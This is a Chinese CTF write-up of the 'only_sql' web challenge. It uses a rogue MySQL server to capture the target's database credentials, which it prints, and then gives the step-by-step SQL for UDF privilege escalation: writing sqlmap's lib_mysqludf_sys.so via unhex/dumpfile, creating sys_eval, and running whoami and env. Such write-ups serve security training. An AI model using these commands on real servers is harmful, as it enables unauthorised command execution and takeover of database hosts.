第七届西湖论剑-web-only_sql

only_sql

这个题在NN的company下做了出来😊
打开题目是一个连接数据库的界面
123
那么可以先伪造一个数据库,采用的项目是Rogue-Mysql-Server,具体看可以参考文章伪造mysql服务端
将项目中的rogue_mysql_server.py文件修改一下
123
放在vps上运行
123
然后执行任意语句后查看生成的日志mysql.log
123

127.0.0.1:3306
root
1q2w3e4r5t!@#
mysql

连接靶机数据库,后面看看能不能进行数据库提权(UDF提权),查看项目linux环境下的MySQL UDF提权
按照上面的说明进行udf提权
123

123
可以进行提权

1、获取plugin路径

show variables like “%plugin%”;
456

2、获取服务器版本信息

show variables like ‘version_compile_%’;
123

3、从sqlmap获取现成的udf文件

分别是32位和64位的,我们选择64位的。(metasploit里面也有udf文件)

4、上传udf库文件

获取库文件的16进制(这里我的linux中没有安装mysql服务,因此我把so文件放在了windows里面来得到的文件的16进制)
开启MySQL服务然后获取so文件的16进制

select hex(load_file(‘C:\Users\86159\Desktop\lib_mysqludf_sys.so’)) into outfile ‘C:\Users\86159\Desktop\udf.txt’;
注意路径要进行双斜杠

123
成功得到udf.txt
4.1、上传库文件
select unhex(‘7F454C46020101……000’) into dumpfile ‘/usr/lib/mysql/p1ugin/mysqludf.so’;
7F454C46020101......000是udf.txt文件内容,注意不要换行!!
上面这个命令在靶机的mysql交互命令行里执行

然后依次执行

create function sys_eval returns string soname “mysqludf.so”;
select sys_eval(‘whoami’);(到这里就可以命令执行了)

123
flag在环境变量里面执行env

123

打赏
  • 版权声明: 本博客所有文章除特别声明外,著作权归作者所有。转载请注明出处!

请我喝杯咖啡吧~

支付宝
微信